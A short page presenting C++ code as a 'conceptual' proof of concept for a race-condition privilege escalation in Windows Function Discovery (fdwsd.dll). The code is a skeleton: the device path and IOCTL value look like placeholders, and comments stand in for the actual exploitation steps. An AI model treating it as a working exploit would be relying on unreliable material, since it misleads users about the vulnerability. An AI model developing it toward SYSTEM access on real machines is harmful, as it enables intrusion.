CVE-2026-32093 Windows Function Discovery权限提升漏洞

#include <windows.h> #include <thread> #include <iostream> // Conceptual PoC for CVE-2026-32093 Race Condition // Target: fdwsd.dll (Function Discovery Service) void malicious_thread() { // Thread 1: Simulate the 'Check' phase interaction // Interacting with the Function Discovery API to trigger the vulnerable path HANDLE hService = CreateFile(L"\\\\.\\FDS_Device", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hService == INVALID_HANDLE_VALUE) { std::cerr << "Failed to open device." << std::endl; return; } // Perform operations that lead to the shared resource access DWORD bytesReturned; DeviceIoControl(hService, 0x12345678, NULL, 0, NULL, 0, &bytesReturned, NULL); CloseHandle(hService); } void race_thread() { // Thread 2: Simulate the 'Use' phase race // Attempt to modify the shared resource during the race window while (true) { // Attempt to exploit the unsynchronized access // This might involve heap spraying, file linking, or handle duplication Sleep(1); // Adjust timing to hit the race window // Exploitation logic to gain SYSTEM privileges would go here // e.g. creating a symbolic link or modifying a file pointer } } int main() { std::cout << "Starting PoC for CVE-2026-32093..." << std::endl; // Create threads to trigger the race condition std::thread t1(malicious_thread); std::thread t2(race_thread); t1.join(); t2.join(); std::cout << "Exploit attempt finished." << std::endl; return 0; }